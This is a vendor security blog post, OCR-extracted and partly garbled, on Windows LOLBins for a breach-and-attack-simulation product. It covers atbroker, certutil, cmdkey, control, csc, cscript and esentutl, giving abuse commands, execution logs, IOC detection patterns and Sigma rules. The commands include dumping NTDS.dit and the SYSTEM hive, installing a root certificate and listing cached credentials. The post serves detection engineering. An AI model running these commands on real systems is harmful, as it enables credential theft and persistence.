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Specifically, LOLBins, or Living-Off-the-Land Binaries, are binaries local to the operating system and traditionally seen as
non-malicious, but can be exploited beyond their supposed function by adversaries to accomplish their malicious goals. The
day-to-day commonality of LOLBins inadvertently serve as a pseudo cloak of invisibility, allowing the attacker to act
inconspicuously across the cyber kill chain and under the nose of SOC teams and intrusion detection tools. On top of this,

LOLBIns are often fileless, and do not leave the tracks that foreign code or files typically leave behind.

LOLBIns pose a growing threat that should not be taken lightly, and it is an organizational oversight if not monitored. To
help organizations combat this risk, AttackIQ has released ATT&CK-aligned scenarios to test against LOLBins. Using the
AttackIQ Security Optimization Platform, security teams can improve their cybersecurity readiness through continuous
testing and security control validation, running assessments aligned to the MITRE ATT&CK framework against the total

security program.

In this post, we have captured a number of LOLBin behaviors to look out for, in hopes that detection engineers and SOC

analysts will come to recognize the signs associated with these attacks and have a means for detecting the behaviors.

Please note that we have demonstrated the generalized adversary behavior in each example, but be mindful that the
adversary may execute a slightly different variation than the ones that we have outlined below. In addition, as a Breach and
Attack Simulation solution, the steps and commands detailed are how the scenarios would be executed benignly within our

platform and under our “do no harm” model.

If you are interested in exploring other examples of binaries not outlined in this post, more can be found in the LOLBAS

project on GitHub, which we used as a reference resource and where much of our research for these templates is derived.
Atbroker.exe

Binary description

Atbroker.exe is a Microsoft Windows system executable file that stands for “Assistive Technology Manager Broker”. It is a
part of the Windows Accessibility features and is responsible for managing the interactions between the Windows operating

system and assistive technologies, such as screen readers, magnifiers, and other accessibility tools.

Atbroker.exe is designed to run in the background and starts automatically when a user logs in to Windows. It monitors the
accessibility settings and programs that are running on the system, and provides a way for assistive technology applications

to interact with the desktop and user interface.
TTPs and tactics

o Defense Evasion: System Binary Proxy Execution (T1218)

o Persistence: Event Triggered Execution: Accessibility Features (T1546.008)
How do the adversaries use it?

Adversaries can use Atbroker.exe to create a new accessibility feature that is designed to launch a binary such as cmd.exe or
malware. Once the new accessibility feature is created, the attacker can trigger it and gain access to the command prompt

with elevated privileges or execute the binary that was defined.
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By using this technique, adversaries can bypass the need for administrative credentials and gain access to sensitive parts of

the system.
AttackIQ Scenarios

System Binary Proxy Execution using “atbroker.exe” Script

Description

AttackIQ has released the scenario “System Binary Proxy Execution using “atbroker.exe” Script”. This scenario will create a
new registry key in the “HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs” key.

The key will have a name composed of the string “AttackIQ_* and 15 random characters.
The key will contain the following subkeys:

o ‘ApplicationName’: “@%SystemRoot%\system32\AccessibilityCPL.dll,-83”

o ‘ATExe’: “$pwd\AIQ_file_creator.exe”

o ‘CopySettingsToLockedDesktop’: 1

o ‘Description’: “AIQ key for execution.”

e ‘Profile’: © <HCIModel><Accommodation type="mild vision" /><Accommodation type="severe vision" />
</HCIModel> *

o ‘SimpleProfile’: “test”

o ‘StartExe’: “$pwd\AIQ_file_creator.exe”

o ‘TerminateOnDesktopSwitch’: 0

Where the $pwd variable will point to the scenario’s current working directory.
If the scenario is able to create the keys, it will then execute the following command:
ATBroker.exe /start $name

Where $name is the name of the registry key present in the “HKLM:\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Accessibility\ATs” key.

The binary AIQ_file_creator.exe will create a file in the temp directory.
Execution

= Activity Details -

M onfo A Waming @ Eror R Advanced

R (02/23/2623 03:22:20 pm) Commend to be ex £1e', '€:\\Users\ \ADHINE~1\\AppData\\ Local\\Temp\\ ShPDZfzSyktdz\\atbroker .ps1", '-ErrorLogFile’, 'C:\\Users\VADHINI~1\\Appatal\Local\\Temp

(Click for Larger)

Scenario I0Cs

[(((process:command_line NOT LIKE '%animations%' AND process:command_line NOT LIKE '%audiodescription%' AND
process:command_line NOT LIKE '%caretbrowsing%' AND process:command_line NOT LIKE '%caretwidth%' AND
process:command_line NOT LIKE '%colorfiltering%' AND process:command_line NOT LIKE '%cursorscheme%' AND
process:command_line NOT LIKE '%filterkeys%' AND process:command_line NOT LIKE '%focusborderheight%' AND
process:command_line NOT LIKE '%focusborderwidth%' AND process:command_line NOT LIKE '%highcontrast%' AND
process:command_line NOT LIKE '%keyboardcues%' AND process:command_line NOT LIKE '%keyboardpref%' AND

process:command_line NOT LIKE '%magnifierpane%' AND process:command_line NOT LIKE '%messageduration%' AND
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process:command_line NOT LIKE '%minimumhitradius%' AND process:command_line NOT LIKE '%mousekeys%' AND
process:command_line NOT LIKE '%Narrator%' AND process:command_line NOT LIKE '%osk%' AND process:command_line
NOT LIKE '%overlappedcontent%' AND process:command_line NOT LIKE '%showsounds%' AND process:command_line NOT
LIKE '%soundsentry%' AND process:command_line NOT LIKE '%stickykeys%' AND process:command_line NOT LIKE
'%togglekeys%' AND process:command_line NOT LIKE '%windowarranging%' AND process:command_line NOT LIKE
"%windowtracking%' AND process:command_line NOT LIKE '%windowtrackingtimeout%' AND process:command_line NOT
LIKE "%windowtrackingzorder%')) AND (process:binary_ref.name LIKE '%AtBroker.exe' AND process:command_line LIKE

"%start%'))]

[(((process:binary_ref.name != 'C:\Windows\system32\atbroker.exe' OR windows-registry-key:key NOT LIKE
"%\Microsoft\Windows NT\CurrentVersion\Accessibility\Configuration%' OR windows-registry-key:values[*].data !=
'(Empty)') AND (process:binary_ref.name NOT LIKE 'C:\Windows\Installer\MSI%' OR windows-registry-key:key NOT
LIKE "%Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs%')) AND (windows-registry-key:key LIKE
'%Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs%' OR windows-registry-key:key LIKE

'%Software\Microsoft\Windows NT\CurrentVersion\Accessibility\Configuration%'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

atbroker.exe — AIQ_file_creator.exe

6:22:1... ‘N ARunCommandAsUser exe 21428 ¢2Process Start SUCCESS Parent PID: 9360, Comman
6:22:1... I¥python.exe 16292 <2 Process Start SUCCESS Parent PID: 21428, Comma.
6:22:2... E¥powershell exe 2908 <2 Process Start SUCCESS Parent PID: 16292, Comma..
6:22:2... W AtBroker.exe 11924 ¢2Process Start SUCCESS Parent PID: 2308, Comman.
6:22:2... iAIO_ﬁIe_creator,axe 18616 C?Pmcess Start SUCCESS Parent PID: 11924, Comma.
(Click for Larger)
Sigma Rules

o [rules/windows/registry/registry_event/registry event susp atbroker change.yml

Back to Top
Certutil.exe

Binary description

Certutil.exe is a command-line utility program that is included with Microsoft Windows operating systems. It is used to

manage digital certificates and certificate revocation lists (CRLs) in a Windows environment.

Certutil.exe can be used to perform various tasks related to digital certificates, such as generating and installing certificates,
backing up and restoring certificates, verifying and validating certificates, and publishing certificates and CRLs to Active

Directory or other network directories.

This tool is commonly used by system administrators and security professionals to manage the security of a Windows
environment, including securing web servers, email servers, and other network services that require the use of digital

certificates for authentication and encryption.
TTPs and tactics

o Defense Evasion: Subvert Trust Controls: Install Root Certificate (T1553.004)

How do the adversaries use it?

A malicious actor could use Certutil.exe to install fake or malicious certificates on a Windows system, which could be used

to conduct man-in-the-middle attacks, intercept encrypted traffic, or impersonate legitimate websites or services.
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Install Root Certificate using “certutil.exe” Script

Description

The scenario will execute the following command:

certutil.exe -v -addstore -f ROOT aiq_certificate.pem

The scenario will be marked as Not Prevented if it is capable of adding the certificate.

This scenario requires administrator privileges.

Execution

v Generc Script Executon

= Activity Details

11:23:58 am) Command to be execu

at

(Click for Larger)

Scenario IOCs

[((process:binary_ref.name LIKE '%\CertMgr.exe' AND process:command_line LIKE '%/add%’

process:command_line LIKE

o

C:\NINDORS1Sys tead2 Wi
et

%I'00

ot Detectod

~Executionfolicy’, ‘bypass’. '-File

58 fado74b863de

LIKE '%-addstore%' AND process:command_line LIKE '%root%'))]

Binary process tree

:1\Users\\ADKINI~1\\AppDatat\Local\\Temp\\2¥gexqosLa2v2\\certutil cert.psi

AND

t%"') OR (process:binary_ref.name LIKE '%\certutil.exe' AND process:command_line

waming @ Emor @ I Advanced

C:\\Users\\ADNINE=1\\ AppData\\Local

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

certutil.exe

P python exe
P python eve
... EM powershell exe
... EX powershell exe
... Talcenuti exs

(Click for Larger),

Sigma Rules

i_exec server..
ifunComman...
- AR unComman...

2876 7 Process Create
8212 ¢ Process Start
8212 ¢ Process Create
9192 2 Process Start
9192 2 Process Create
9144 <2 Process Start
9144 2 Process Create
5480 ¢ Process Start

C:A\Program Files\AttacklQ4AgentbiRunCommanddsUser exe
C:\Program Files\attackl D Agent\enginelpy3python. exe
C:wIND DWW S S pstem32VWindowsPowerShellvwl Dipowershel. exe

CwINDOWS apstemn32h certutil exe

 rules/windows/process creation/proc_creation win root certificate

Back to Top

Cmdkey.exe

Binary description

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

installed.yml

PID: 8212, Command line: "C:APT.
Parent PID: 2876, Command line:.
PID: 9192, Command line: "C:4Pr.
Parent PID: 8212, Command line:
PID: 3144, Command line: C:4w1

Parent PID: 3192, Command line:.
PID: 5480, Cormand line: “C:hw.
Parent PID: 3144, Command line:.

Cmdkey.exe is a built-in Windows command-line tool that allows you to manage and manipulate stored credentials, such as

usernames and passwords. It is primarily used to manage credentials for remote connections to other computers, servers, or

network resources.
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With cmdkey.exe, you can add, list, modify, and remove stored credentials.
TTPs and tactics

» Credential Access: Credentials from Password Stores (T'1555)
How do the adversaries use it?

Cmdkey.exe can be used by attackers to access and extract stored credentials on a victim’s machine, which can then be used

for lateral movement or privilege escalation.

AttackIQ Scenarios

Discovery of Cached Credentials using “cmdkey.exe” Command
Description

This particular scenario will execute the following command:
cmdkey.exe /list

The scenario will be marked as Not Prevented if there are cached credentials of the type Domain Password.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Command Execution Critical Prevented Not Detected - 02/24/2023 01:04:48 pm 02/24/2023 01:04:48 pm
i= Activity Details ~

P Info Warning @ Error F2 Advanced

M (02/24/2023 ©1:04:48 pm) Command to be executed: cmdkey.exe /list
FI (02/24/2023 ©1:04:48 pm) Command output: "
Currently stored credentials:

Target: WindowsLive:target=virtualapp/didlogical
Type: Generic

User: @2dlsfdfxtztsyia

Local machine persistence

M (02/24/2023 ©1:04:48 pm) Reading command output file for test pattern: "Type: Domain Password"
™ (02/24/2023 01:04:48 pm) Complete generic_command_execution_util output: *
Currently stored credentials:

(Click for Larger)
Scenario IOCs

[((process:binary_ref.name LIKE '%\cmdkey.exe') AND (process:command_line LIKE '% /1%' OR process:command_line
LIKE "% -1%'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — cmdkey.exe

a_exec_server... 2876 ¢2Process Create  C\Program Files\Attackl D44 gent\AiRunCommanddsllser exe SUCCESS FID: 9000, Comma...
AiRunComman... 9000 ¢ Frocess Start SUCCESS Farent FID: 2876, ...
AiRunCommar.. 9000 <2 Process Create  CAProgram Files\Attackl D\Agentiengine oy pypthon, exe SUCCESS FID: 5256, Comma...

4044 I python exe 5256 2 Process Statt SUCCESS Parent PID: 9000,
.. B python.exe 5256 <2 Process Create  CAWINDOWSASYS TEM32bemdkey. exe SUCCESS FID: 203E, Comma...
En 2036 <2 Process Start SUCCESS Parent PID: B25E, .

2036 <2 Process Exit SUCCESS Exit Status: 0, User...

5256 2 Process Exit SUCCESS Exit Status: 0, User...

L3 9000 2 Frocess Exit SUCCESS Exit Status: 0, User..
(Click for Larger),
Sigma Rules
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Back to Top
Control.exe

Binary description

Control.exe is a Windows operating system program that allows users to access and manage various system settings and
tools through the Control Panel.

When you run control.exe, it opens the Control Panel, which contains various applets for configuring and managing system

settings, such as adding or removing hardware, setting up network connections, configuring display settings, and more.
TTPs and tactics
How do the adversaries use it?

Threat actors could potentially abuse control.exe to execute a DLL by taking advantage of the way that control.exe interacts

with Windows and the Control Panel.

Control.exe is designed to open specific applets in the Control Panel based on the name or GUID of the applet that is
provided to it as a parameter. However, it is possible to use control.exe to execute a DLL by specifying the path of the DLL

as the parameter instead of the name or GUID of an applet.

AttackIQ Scenarios

System Binary Proxy Execution using “control.exe” Script

Description

This scenario will then execute the following command:
control.exe AttackIQ_DLL.d1ll

The DLL file will create a file in the temp directory when loaded.

The scenario will verify if the file exists and mark the scenario as not prevented. The scenario will be marked as prevented if

the file does not exist.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 02/24/2023 03:42:10 pm 02/24/2023 03:42:29 pm
= Activity Details ~
M Info Warning @ Error F2 Advanced
M (02/24/2023 83:42:12 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\DRhAJcxva9d@fi\control.ps1', '-ErrorLogFile', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\DRhAJcxva9d@f\\attackiq-script-error-log-1b51658d-72dd-4410-9894-ac6c90891286.json']

FI (82/24/2023 83:42:19 pm) Script output: "Executing control.exe 'AttackTQ_DLL.d11'

Waiting 5 seconds prior to verify success

File C:\Users\ADMINI~1\AppData\Local\Temp\attackiq_d11_file.log exists. The scenario will be marked as Not Prevented.
Removing C:\Users\ADMINI~1\AppData\Local\Temp\attackiq_d11_file.log

Sucessfully removed C:\Users\ADMINI~1\AppData\Local\Temp\attackiq_d11_file.log

I (82/24/2023 3:42:19 pm) Script "control.ps1” execution was successful

M (82/24/2023 83:42:19 pm) Successfully executed script "control.ps1”

M (82/24/2023 83:42:37 pm) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\DRhAJcxvaddeficontrol.ps1’ to delete does not exist anymore.
M (82/24/2023 83:42:37 pm) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\Local\Temp\DRhAJcxvaddef' to delete does not exist anymore.

(Click for Larger)

Scenario IOCs
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[(((process:binary_ref.name LIKE '%\rund1132.exe') AND process:parent_ref.binary_ref.name LIKE
'%\System32\control.exe")]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

control.exe — rundll32.exe

6:42:0... - ai_exec_serverexe 2876 c" Process Create C:\Pro;ram ﬁles\MackIQ\A;em \AiRunCommandAsUser.exe SUCCESS PID: 2780, Command line: "...

6:42:0. AiRunCommandAsUser.exe 2780 <2 Process Start SUCCESS Parent PID: 2876, Comman.
6:42:0... 'B- AiRunCommandAsUser exe 2780 <®Process Create C:\Program Files\AttackIQ\Agent\engine'\py3\python exe SUCCESS PID: 8720. Command line: "
6:42:0... I®python exe 8720 <2 Process Stat SUCCESS Parent PID: 2780, Comman.
6:42:1... Ppython.exe 8720 ¢®Process Create C:\WINDOWS\System32\WindowsPowerShell\v 1.0\powershel exe SUCCESS PID: 4972, Command line: C...
6:42:1... E¥powershell.exe 4972 <2 Process Start SUCCESS Parent PID: 8720, Comman...

4972 ¢ Process Create
10080 i Process Start

. E¥powershell exe C:A\WINDOWS \system32\control.exe SUCCESS PID: 10080, Command line: ...
SUCCESS Parent PID: 4972, Comman.
C:\WINDOWS\system32\rundll 32 exe SUCCESS PID: 7532, Command line: "..

7532 <2 Process Start SUCCESS Parent PID: 10080, Comma...

%mndnaz.exe 7532 <2 Process Create  C:\WINDOWS\SysWOW64\rundll32.exe SUCCESS PID: 3308, Command line: "..
.. |_Jundll32 exe 9908 <2 Process Start SUCCESS Parent PID: 7532, Comman...
6:42:1... [BFcontrol exe 10080 2 Process Exit SUCCESS Exit Status: 1, User Time: 0....
6:42:1... EMpowershell exe 4972 2 Process Exit SUCCESS Exit Status: 0, User Time: 0....
L_%mmill32.e)(e 9908 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0...
|_Jrundil32.exe 7532 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0....
Ppython exe 8720 <2 Process Exit SUCCESS Exit Status: 0, User Time: 2....

- AiRunCommandAsUser exe 2780 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0....

(Click for Larger),
Sigma Rules

In order to detect this scenario you will need to delete the filter in this rule:

Back to Top
Csc.exe

Binary description

csc.exe is a command-line tool used to compile C# (C Sharp) source code into executable programs or DLLs (dynamic link
libraries). It is included in the Microsoft .NET Framework SDK (Software Development Kit) and can be found in the .NET

Framework directory on a Windows computer.
TTPs and tactics

» Defense Evasion: Obfuscated Files or Information: Compile After Delivery (T1027.004)
How do the adversaries use it?

An attacker can deliver a source code file containing the malicious code to the target system and then use csc.exe to compile
the code into an executable file. By compiling the code on the target system, the attacker can avoid detection by security

software that may have signatures or behavioral patterns for known malicious executables.

The use of csc.exe in this context requires that the attacker has already gained access to the target system and has the
necessary permissions to execute the compiler. Once the code is compiled, the attacker can execute it to achieve their

malicious goals, such as stealing sensitive data or taking control of the compromised system.
AttackIQ Scenarios

Compile After Delivery using “csc.exe” Script

Description

This scenario will execute the following command:
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csc.exe -out:aigq_cs_code.exe aig_cs_code.cs
The content of the aiq_vb_code.vb is:

using System;
class Program

{

static void Main()
{

Console.WriteLine("AttackIQ binary has been spawned.");
}
}

After compiling the binary, the scenario will execute the compiled file and search for the message in the stdout.

The scenario will be marked as Not Prevented if the message “AttackIQ binary has been spawned” is present in the stdout of

the compiled binary execution.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 02/24/2023 04:21:15 pm 02/24/2023 04:21:21 pm
:= Activity Details ~

M Info Warning @ Error F1 Advanced

\\LM/0/G1DbZSCPANCSC.PSI , -EFFOrLOGF1Le , Ui\\USErs\\AUMLNL~I\\ADPUATa\\LOCAL\\IEMP\\LM/0/aIDOZICP\\aTTACK1q-SCr1PT-EFFOr-10g-4142D/D1-45CC-48Db-aY/Y-T8e4CHAS 124€.]S0N |
2 (82/24/2023 04:21:21 pm) Script output: "Executing C:\WINDOWS\Microsoft.NET\Framework\v4.@.38319\csc.exe -out:aiq_cs_code.exe aiq_cs_code.cs
Microsoft (R) Visual C# Compiler version 4.8.4084.8

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer
versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

Executing aiq_cs_code.exe
AttackIQ binary has been spawned.
Successfully deleted the file aig_cs_code.exe.

(Click for Larger)
Scenario IOCs

[((process:parent_ref.binary_ref.name LIKE '%\wscript.exe' OR process:parent_ref.binary_ref.name LIKE
'%\cscript.exe' OR process:parent_ref.binary_ref.name LIKE '%\mshta.exe' OR process:parent_ref.binary_ref.name

LIKE '%\powershell.exe') AND process:binary_ref.name LIKE '%\csc.exe')]

Binary process tree
csc.exe will have the following process tree:

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

csc.exe — cvtres.exe
on the other hand, the compiled binary (aiq_cs_code.exe) will have the following one:

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

aiq_cs_code.exe
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7:21:1... W-ai_exec_server exe 2876 <2 Process Create  C:\Program Files\AttackIQ\Agent\AiRunCommandAsUser exe SUCCESS PID: 8816. Command line: "..
AiRunCommandAsUser exe 8816 <2 Process Start SUCCESS Parent PID: 2876. Comman...
. AiRunCommandAsUser.exe 8816 ¢ Process Create C:\Program Files\AttackIQ\Agent\engine'\py3\python exe SUCCESS PID: 2308, Command line: "...
7:21:1... Ppython exe 2308 <®Process Start SUCCESS Parent PID: 8816, Comman...
7:21:1... Ppython exe 2308 «2Process Create  C:\WINDOW S\System32\WindowsPowerShell\v1.0\powershel exe SUCCESS PID: 7252, Command line: C...
7:21:1... EMpowershell.exe 7252 «2Process Stat SUCCESS Parent PID: 2308, Comman...
7:21:1... EMpowershell exe 7252 ¢2Process Create  C:\WINDOW S\Microsoft NET\Framework \v4.0.30319\csc exe SUCCESS PID: 4368. Command line: ..

Parent PID: 7252, Comman.

4368 ¢2Process Create C:\Wind Microsoft NET\Fr rk\v4.0.30319\cvires exe SUCCESS PID: 3248, Command line: C...
3248 2 Process Start SUCCESS Parent PID: 4368, Comman...
7211 Wcvires exe 3248 <2 Process Exit SUCCESS Exit Status: 0, User Time: 0...
7:21:1... W-escexe 4368 <2Process Exit SUCCESS Extt Status: 0, User Time: 0.
7:21:2... EMpowershell exe 7252 <2 Process Create  C:\Users\ADMINI~1\AppData\Local\Temp\IM707d 1b623cp\aiq_cs_code.exe  SUCCESS PID: 9436, Command line
7:21:2... W-aiq_cs_code exe 9436 <?Process Start SUCCESS Parent PID: 7252, Comman...
7:21:2... W-aiq_cs_code exe 9436 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0...
7:21:2... E¥powershell exe 7252 < Process Exit SUCCESS Exit Status: 0. User Time: 0....
7:21:2... Ppython exe 2308 <2 Process Exit SUCCESS Exit Status: 0, User Time: 2....
7:21:2... W AiRunCommandAsUser.exe 8816 c‘_’F‘mcess Exit SUCCESS Exit Status: 0, User Time: 0..
(Click for Larger)
Sigma Rules

In order to detect the scenario you will need to add powershell as a parent process to the following rule:

¢ /rules/windows/process creation/proc creation win csc susp parent.yml
Back to Top
Cscript.exe

Binary description

cscript.exe is a command-line script execution engine in Microsoft Windows operating systems. It is used to execute scripts
written in various scripting languages, including VBScript and JScript, and is included as a part of the Windows Script Host
(WSH).

TTPs and tactics

o Execution: Command and Scripting Interpreter: Visual Basic (T1059.005)

¢ Execution: Command and Scripting Interpreter: JavaScript (T1059.007)
How do the adversaries use it?

An adversary could use cscript.exe to run malicious scripts on a target system. This could include scripts designed to steal

sensitive information, compromise system security, or carry out other malicious actions.

AttackIQ Scenarios

Windows Cscript Script Execution
Description

With this scenario and FireDrill architecture you have a reliable and secure way to execute your custom tasks when needed.

You can upload a script file and decide what interpreter you want to use. Examples of interpreters would be python.exe,
cmd.exe, powershell.exe, sh, bash, etc. You can specify the full path of the interpreter, if its location is stored in the asset’s

environment you can specify only the name as shown before. Environment variables such as %System% can also be used.
By using cscript.exe as interpreter, you could execute either VBScripts of JScripts.

If the uploaded script uses parameters that have to be sent for its execution, you can specify them as a string in the scenario

“Parameters” parameter.

It is possible to upload support files to be used within the script, these files will be located in the current working directory

so the script will only require knowing the filename in order to access to them.
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The supported platform parameter ensures that the script only will be executed on the selected platform.

Script Hash parameter can be specified to enforce the script file to match a given SHA256 hash (lowercase), the scenario
will error and the script will not be executed if the provided hash does not match with the script’s hash. No hash validation

will be performed if this parameter is not filled.

There is also a feature that enables to execute the script as a logged in user, instead of executing the script as SYSTEM user.

This feature is available only for Windows agents.

Finally, the scenario success can be defined either by checking the script exit code or by defining a pattern. If a pattern is
chosen, the output of the script will be written into a temporal file and the pattern will be searched inside it. The pattern

accepts regular expressions.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 02/24/2023 04:55:39 pm 02/24/2023 04:55:40 pm
= Activity Details ~

M Info Warning @ Error [ Advanced

I (82/24/2023 ©4:55:40 pm) The hash for downloaded file ‘hello.js' has not been specified, file integrity cannot be checked

P (02/24/2023 ©4:55:40 pm) Command to be executed: C:\WINDOWS\system32\cscript.exe ['C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\ECaz6_twldzqb\\hello.js']
FI (02/24/2023 04:55:40 pm) Script output: "Microsoft (R) Windows Script Host Version 5.812

Copyright (C) Microsoft Corporation. ALl rights reserved.

AttackIQ script has been executed.

2 (82/24/2023 04:55:40 pm) Script "hello.js" execution was successful

™ (02/24/2023 ©4:55:40 pn) Successfully executed script "hello.js"

™ (02/24/2023 ©4:55:48 pn) Clean Up - File 'C:\Users\ADMINI~1\AppData\lLocal\Temp\ECaz6_twldzgb\hello.js' to delete does not exist anymore.
P (02/24/2023 ©4:55:48 pm) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\Local\Temp\ECaz6_twldzqb' to delete does not exist anymore.

(Click for Larger),
In order to execute this scenario you will need to provide a JScript script or a VSBscript.
In this demo example, we have provided the following script:

// This script displays a message box with a custom message var message = "AttackIQ script has been

executed."; WScript.Echo(message);
Scenario I0Cs

[((process:binary_ref.name LIKE '%\wscript.exe' OR process:binary_ref.name LIKE '%\cscript.exe') AND
(process:command_line LIKE '%.jse%' OR process:command_line LIKE '%.vbe%' OR process:command_line LIKE '%.js%'
OR process:command_line LIKE '%.vbha%'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — cscript.exe

'B- ai_exec_server.exe 2876 ;.”Prucess Create C‘\Pméram Files\Attack IO\A;emWRunCommandPsUser.exe SUCCESS PID: 3452, Command line: ...
ARunCommandAsUser.exe 3452 <2 Process Statt SUCCESS Parent PID: 2876, Comman...

¥ AiRunCommandAslUser exe 3452 ¢2Process Create  C:\Program Files\Attack IQ\Agent \engine\py3\python exe SUCCESS PID: 10020, Command line: ...
7:55:3... E¥python exe 10020 <2 Process Start SUCCESS Parent PID: 3452, Comman...
7:55:4... [Ppython.exe 10020 ¢ Process Create  C:\WINDOW S\system32\cscript exe SUCCESS PID: 10192, Command line: ...

v:Process Start SUCCESS Parent PID: 10020, Comma

10192 ¢ Process Ext SUCCESS Exit Status: 0, User Time: 0....

10020 <2 Process Ext SUCCESS Exit Status: 0. User Time: 2...

7:55:4.. ENHunCommandAsUser.exe 3452 cfPrucesa Exit SUCCESS Exit Status: 0, User Time: 0....
(Click for Larger)
Sigma Rules

o /rules/windows/process creation/proc_creation win susp _script execution.yml
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Back to Top
Esentutl.exe

Binary description

Esentutl.exe is a command-line tool used to manage Extensible Storage Engine (ESE) databases in Microsoft Windows
operating systems. ESE is a database engine developed by Microsoft that is used by various Microsoft applications,

including Active Directory, Exchange Server, Windows Search, and Windows Update.

Esentutl.exe can be used to perform a variety of tasks related to ESE databases, such as creating and repairing databases,
compacting and defragmenting databases, and checking the integrity of databases. It can also be used to recover data from

damaged databases and to export and import data from ESE databases.
TTPs and tactics

o Credential Access: Credentials from Password Stores: Credentials from Web Browsers (T1555.003)
o Credential Access: OS Credential Dumping: NTDS (T1003.003)
o Command and Control: Ingress Tool Transfer (T1105)

How do the adversaries use it?
Esentutl.exe could potentially be used by an attacker to:

» extract saved login credentials from the Web Cache Files (WCF) of Internet Explorer, which is stored in an ESE
database format. An attacker could use the “esentutl.exe” command-line tool to access the ESE database and extract
the saved login credentials from the WCEF file. The attacker could then use these credentials to gain access to the
victim’s online accounts.

e dump the contents of the NTDS.dit file on a compromised domain controller. The NTDS.dit file is an ESE database
used by Active Directory to store information about user accounts and passwords. An attacker could use the
“esentutl.exe” command-line tool to extract password hashes from the NTDS.dit file, which could then be used for
offline password cracking or pass-the-hash attacks.

¢ copy a file into the system.
AttackIQ Scenarios

Dump Active Directory Database using Volume Shadow Copy via esentutl.exe

Description

This scenario will perform the following actions:

e Copy the locked NTDS.dit file by creating a Volume Shadow Copy using esentutl.exe

o If the previous step was successful, dump the SYSTEM registry hive using reg.exe binary.

If both the NTDS.dit file and the SYSTEM registry hive are successfully retrieved, the scenario result will be Not

Prevented. Otherwise, it will be Prevented.
Important notes:

o For the scenario to be successful, it must be executed on a Domain Controller. Otherwise, the NTDS.dit file won’t
be present in the system and the scenario will end with a Requirements not met error.
¢ This scenario requires esentutl.exe version 10.0. This built-in Windows tool version is present in Windows Server

2016 or newer.

Execution
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Name Critical Phase Prevention Detection Start Time End Time

v Dump AD Database using esentutl.exe Critical Not Prevented Not Configured 02/27/2023 10:49:26 am 02/27/2023 10:49:29 am

Detailed Findings:
Active Directory Database (NTDS.dit) has been successfully dumped

= Activity Details ~

M Info Warning @ Error [ Advanced

FI (02/27/2023 10:49:29 am) Executed command 'esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\Windows\Temp\ntds_dump_aWu' returned exit code @

P (82/27/2623 10:49:29 am) NTDS.dit file was successfully dumped using the Windows built-in tool esentutl.exe and stored in C:\Windows\Temp\ntds_dump_aliu
[ (82/27/2023 18:49:29 am) Executed command 'cmd.exe /C reg.exe save HKLM\SYSTEM C:\Windows\Temp\sys_dump_aWu /y' returned exit code 8

M (92/27/2623 10:49:29 am) SYSTEM registry hive was successfully dumped and stored in C:\Windows\Temp\sys_dunp_aWu

M (02/27/2023 10:49:38 am) Clean Up - File 'C:\Windows\Temp\ntds_dump_aWu' was successfully deleted from the system.

P (02/27/2023 10:49:38 am) Clean Up - File 'C:\Windows\Temp\sys_dump_allu’ was successfully deleted from the system.

(Click for Larger)

Copy a file using “esentutl.exe” Script
Description

This scenario will execute the following command:

esentutl.exe /y helloworld.exe /d $env:temp\$name /o

The scenario will be marked as Not Prevented if the file is copied into the destination path.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 02/27/2023 10:35:24 am 02/27/2023 10:35:30 am
= Activity Details ~
M Info Warning @ Error [ Advanced
m~ (82/27/2823 18:35:26 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['—Execut)onPolu:y‘, 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\2pYQvvbtiuf_e\\essntutil_copy.ps1', '-ErrorLogFile', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\2pYQvvbtluf_e\\attackiq-script-error-log-618b837a-f97a-4d65-b3sb-9c233357a348.json" |

Fo (02/27/2623 10:35:30 am) Script output: "Executing esentutl.exe /y helloworld.exe /d C:\Users\ADMINI~T\AppData\Local\Temp\aiq_binary_FZpbc /o

Initiating COPY FILE mode...
Source File: helloworld.exe

